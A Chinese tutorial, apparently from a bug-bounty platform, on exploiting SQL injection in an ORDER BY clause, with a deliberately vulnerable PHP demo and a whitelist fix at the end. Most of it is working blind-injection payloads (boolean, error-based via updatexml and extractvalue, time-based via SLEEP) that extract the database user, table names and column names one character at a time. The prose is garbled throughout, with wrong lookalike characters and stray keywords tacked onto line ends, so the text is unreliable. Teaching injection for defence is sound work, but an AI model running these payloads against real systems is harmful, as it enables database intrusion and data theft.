最近在作一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概览小)。今天给你们分享下一些关于Order By的有趣的经验。php
本文讨论的内容指可控制的位置在order by子句后,以下order参数可控:select * from goods order by $_GET['order']html
在早期注入大量存在的时候,利用order by
子句进行快速猜解表中的列数,再配合union select
语句进行回显。在测试时,测试者能够经过修改order
参数值,好比调整为较大的整型数,再依据回显状况来判断具体表中包含的列数。前端
在不知道列名的状况下能够经过列的的序号来指代相应的列。可是通过测试这里没法作运算,如order=3-1
和order=2
是不同的。mysql
http://192.168.239.2:81/?order=11 错误 http://192.168.239.2:81/?order=1 正常
前面的判断并非绝对的,咱们须要构造出相似and 1=1
、and 1=2
的Payload以便于注入出数据。正则表达式
/?order=IF(1=1,name,price) 经过name字段排序 /?order=IF(1=2,name,price) 经过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 经过name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 经过price字段排序
/?order=IFNULL(NULL,price) 经过price字段排序 /?order=IFNULL(NULL,name) 经过name字段排序
另外利用rand
函数也能达到相似的效果,能够观测到排序的结果不同sql
/?order=rand(1=1) /?order=rand(1=2)
在有些状况下没法知道列名,并且也不太直观的去判断两次请求的差异,以下用IF语句为例。数据库
/?order=IF(1=1,1,(select+1+union+select+2)) 正确 /?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 错误
/?order=updatexml(1,if(1=1,1,user()),1) 正确 /?order=updatexml(1,if(1=2,1,user()),1) 错误
/?order=extractvalue(1,if(1=1,1,user())) 正确 /?order=extractvalue(1,if(1=2,1,user())) 错误
注意若是直接if(1=2,1,SLEEP(2))
,sleep时间将会变成2当前表中记录的数目,还有好比执行BENCHMARK(1000000,100100)
;等函数,将会对服务器形成必定的拒绝服务攻击。json
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
以猜解user()
即root@localhost
为例子,因为只能一位一位猜解,能够利用SUBSTR
,SUBSTRING
,MID
,以及left
和right
能够精准分割出每一位子串。而后就是比较操做了能够利用=
,like
,regexp
等。这里要注意like
是不区分大小写。后端
经过下能够得知user()
第一位为r
,ascii
码的16进制为0x72
:数组
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确 /?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确 /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常 /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
在没有过滤的状况下是可以检测到注入的,以下图:
<?php error_reporting(0); session_start(); mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed "); mysql_select_db("sqlidemo") or die("Select database failed"); $order = $_GET['order'] ? $_GET['order'] : 'name'; $sql = "select id,name,price from goods order by $order"; $result = mysql_query($sql); $reslist = array(); while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { array_push($reslist, $row); } echo json_encode($reslist); create database sqlidemo;
use sqlidemo; create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null); insert into goods (name, price) values("apple", 10); insert into goods (name, price) values("banana", 15); insert into goods (name, price) values("peach", 20);
这个问题的是因为攻击者经过测试,了解到应用程序对数据对象进行了直接引用。该类问题能够概括到OWASP-2013中A4(不安全的对象直接引用)。常见的修复方法以下:
<?php $orderby_whitelist = array( "apple" => "apple ASC", "applerev" => "apple DESC", "daterev" => "banana DESC", "DEFAULT" => "peach" ); $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT"; $order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"]; mysql_query("SELECT ... FROM ... ORDER BY $order_expr");
http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html